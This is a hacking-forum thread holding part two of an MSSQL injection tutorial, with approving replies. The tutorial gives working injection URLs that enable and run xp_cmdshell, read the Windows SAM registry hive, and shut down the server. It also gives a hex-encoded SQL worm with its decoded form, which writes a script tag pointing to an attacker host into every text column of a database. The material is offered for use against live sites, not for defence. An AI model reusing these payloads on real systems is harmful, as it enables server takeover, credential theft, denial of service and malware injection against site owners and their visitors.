

Forum:[Hack Forums](#)

Thread: [\[Tutorial by Zyklon B\] MSSQL injection - Part 2/3](#)

Error667 - April 12, 2012, 8:18 pm

Hei,

This is the second part of my MSSQL tutorial. However, the difference is that this one is not only for MSSQL Null based, on websites whose have a coldfusion extension.

First part : The first way you should process

Second part : Commands executions & worms - This thread!

Third part : A video

Link to my first one : <https://hackforums.net/showthread.php?tid=2389816>

Introduction.

What is exactly a MSSQL Server ?

-Basically, Internet clients are all connected to an SQL Server, which manages Sql requests of the website. Most of the time, it's a computer which is only used for that, and which run all the time (24/24 -7/7days).

To manage this SQL Server, the admin need to use the application which go with. The application will depends of the SQL Server version : refer to my first tutorial.

Screenshots of these applications :

MSSQL 2000 :

MSSQL 2005 :

MSSQL is harmful for the website, that's what you saw in the first part. Now, you need to know that you can also practice command executions on the SQL Server, or create an SQL worm : that's why MSSQL is considered as the most dangerous SQL Injection ever.

1.9 - Extended Stored Procedures

Extended stored procedures are stored procedures that call functions from DLL files, whose are located in the computer. That's a great way too to fuck the computer privacy.

A -

Code xp_cmdshell

It executes a given command on the MSSQL Operation system, with the same permission as it's currently running.

Example of use :

<http://www.site.gov/albums/view.cfm?uid=1>; exec
master.NAME_OF_THE_DATABASE.xp_cmdshell 'enter_your_command_here'

Note : On MSSQL 2005, this command is deactivated by default. So, you need to reactivate it through this ones :

Code EXEC sp_configure 'show advanced options', 1;--
RECONFIGURE;--

EXEC sp_configure 'xp_cmdshell', 1;--
RECONFIGURE;--

In the case of it has been disabled on MSSQL2000, enter this one :

Code EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--
B -

Code xp_loginconfig
This stored procedure returns login configuration information (Login Name - passwd).

C -

Code xp_regread
xp_regwrite
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues

Windows registry key. It may be very, very harmful for a computer. This is especially where the SAM file of a computer is...

Example of use :

<http://www.site.gov/albums/view.cfm?uid=1>; exec xp_regread
HKEY_LOCAL_MACHINE,'SAM','SAM'

This will read the SAM file located in the path mentioned above.

Note : The path can change, it will depends of the computer. Just go on regedit.exe to understand better the structure.

D -

Let's talk about a funny command, only reserved for freaks.

Code ;shutdown--
;shutdown#
or 1=1 shutdown#
or 1=1 shutdown--

Rather than drop databases, we can deny other users access to the database. A form of SQL injection DOS. The syntax is easy to remember.

E -

A list of some useful commands to know :

Code xp_availablemedia - Reveals the available drives on the machine

xp_dirtree - Allows a directory tree to be obtained
xp_enumdsn - Enumerates ODBC data sources on the server
xp_makecab - Allows the user to create a compressed archive of files on the server
xp_ntsec_enumdomains - Enumerates domains that the server can access
xp_terminate_process - Terminate a process (PID)

A list of the unknown ones, but whose are still good :

<http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm>

2.0 - SQL worm

Simply like a malware. In fact, this is a collection of SQL queries whose have been hexed().

Here is an example if its use :

Code

```
http://www.site.gov/albums/view.cfm?uid=1';DECLARE%20@S%20NVARCHAR(4000);SET%20@S
=CAST(0x4400450043004C0041100520045002000400054002000760061007200630068006100720
0280032003500350029002C00400043002000760061007200630068006100720028003200350035
00290020004400450043004C00411005200450020005400610062006C0065005F004300750072007
3006F007200200043005500520053004F005200200046004F0052002000730065006C0065006300
7400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006
D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F0
06C0075006D006E00730020006200200077006800650072006500200061002E00690064003D006
2002E0069006400200061006E006400200061002E00780074007900700065003D0027007500270
0200061006E0064002000280062002E00780074007900700065003D003900390020006F00720020
0062002E00780074007900700065003D003300350020006F007200200062002E007800740079007
00065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS
%20NVARCHAR(4000));EXEC(@S);--
```

Well, so here is the decoded SQL worm :

Code DECLARE @T VARCHAR(255)

DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR

SELECT [A].[Name], [B].[Name]

FROM sysobjects AS [A], syscolumns AS [B]

WHERE [A].[ID] = [B].[ID] AND

[A].[XType] = 'U' /* Table (User-Defined) */ AND

([B].[XType] = 99 /* NTEXT */ OR

[B].[XType] = 35 /* TEXT */ OR

[B].[XType] = 231 /* SYSNAME */ OR

[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)

BEGIN

EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) +

"<script src="http://www.attacker.com/js_script.js"></script>"')

FETCH NEXT FROM Table_Cursor INTO @T, @C

END

CLOSE Table_Cursor

DEALLOCATE Table_Curso

What does it do, then ? It finds all text fields in the database and adds a link to malicious javascript `<script src="http://www.attacker.com/js_script.js"></script>` to each and every one of them which will make your website display them automatically.

Note : this works too in the query fields (search bar, forum, and so on).

Then you can create your own SQL Worm. You will need a good knowledge in SQL language, and a simple text/hexadecimal converter :

<http://www.swingnote.com/tools/texttohex.php>

— * * —

I hope that i have been useful for you, mates.

Best regards, and see you soon for the last part.

The Unknown - April 13, 2012, 5:29 am

Great tut man, it's good you also shared it here on HF.

Toph Beifong - April 13, 2012, 11:37 am

nice tutorial, this will help many people. Good work.

gatopardos - April 13, 2012, 12:05 pm

nice with the sql worm.. most people don't know what it is .. have some sqlworms for vbulletin and wordpress lolol :@ you said that sql worms are for mssql only ?? they are for every sql form available.. even oracle.. I have some mysql worms that work for cms but as they are very fucken potent I won't share them here. You shouldn't share this kind of information with 13 year old kids..//

Error667 - April 13, 2012, 2:50 pm

(Apr 13, 2012 12:05 PM)gatopardos Wrote: [\[CITE\]](#) nice with the sql worm.. most people don't know what it is .. have some sqlworms for vbulletin and wordpress lolol :@ you said that sql worms are for mssql only ?? they are for every sql form available.. even oracle.. I have some mysql worms that work for cms but as they are very fucken potent I won't share them here. You shouldn't share this kind of information with 13 year old kids..//

True, i know sometimes, it's full of noobs. But i was a noob when i began, so now I just share my knowledge with others, to make them less ignorant.

Anyway, thanks for your message.